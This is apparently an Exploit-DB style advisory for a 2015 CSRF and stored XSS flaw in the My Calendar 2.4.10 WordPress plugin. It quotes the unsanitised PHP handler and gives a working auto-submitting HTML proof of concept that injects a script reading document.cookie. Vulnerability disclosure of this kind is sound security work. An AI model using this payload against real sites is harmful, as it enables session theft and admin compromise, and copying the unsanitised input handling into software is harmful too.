My Calendar 2.4.10 CSRF and XSS

vendor:

My Calendar

by:

Mysticism (Ahn Sung Jun)

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS)

CWE

Product Name: My Calendar

Affected Version From: 2.4.10

Affected Version To: 2.4.10

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Kail Linux Iceweasel

2015

My Calendar 2.4.10 CSRF and XSS

My Calendar 2.4.10 is vulnerable to Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS). The vulnerability exists due to insufficient sanitization of user-supplied input in the 'category_name' parameter of the 'my-calendar-categories.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary HTML and script code in the browser of the unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version of the software.

Source

Exploit-DB raw data:

Exploit TItle: My Calendar 2.4.10 CSRF and XSS
Exploit Author : Mysticism (Ahn Sung Jun)
Date : 2015-11-06
Vendor Homepage : http://wordpress.org/plugins/my-calendar
Software Link : https://downloads.wordpress.org/plugin/my-calendar.2.4.10.zip
Version : 2.4.10
Tested On : kail linux Iceweasel


===================
Vulnerable Code : my-calendar-categoris.php
if ( isset( $_POST['mode'] ) && $_POST['mode'] == 'add' ) {
			$term = wp_insert_term( $_POST['category_name'], 'mc-event-category' );
			if ( ! is_wp_error( $term ) ) {
				$term = $term['term_id'];
			} else {
				$term = false;
			}
			$add = array(
				'category_name'    => $_POST['category_name'],
				'category_color'   => $_POST['category_color'],
				'category_icon'    => $_POST['category_icon'],
				'category_private' => ( ( isset( $_POST['category_private'] ) ) ? 1 : 0 ),
				'category_term'    => $term
			);
		}


POC (CSRF & XSS)

<html>
	<body onload="javascript:document.forms[0].submit()">
	<form id="my-calendar" method="post" action="http://192.168.0.2/wordpress/wp-admin/admin.php?page=my-calendar-categories">
		<input type="hidden" name="_wpnonce" value="35ed9ab206"/>
		<input type="hidden" name="mode" value="add"/>
		<input type="hidden" name="category_id" value="4"/>
		<input name="category_name"  id="cat_name" type="hidden" class="input" size="30" value="<script>alert(document.cookie)</script>">
		<input type="hidden" id="cat_color" name="category_color" class="mc-color-input" size="10" maxlength="7" value=""/>
		<input type="hidden" value="on" name="category_private" id="cat_private" />
		<input type="hidden" value="on" name="mc_default_category" id="mc_default_category" />
		<input type="hidden" value="on" name="mc_skip_holidays_category" id="mc_shc" /> 
		<input type="submit" name="save" class="button-primary" value="Add Category &raquo;"/>
	</form>	
</html>


Discovered By
Mysticism(Ahn Sung Jun)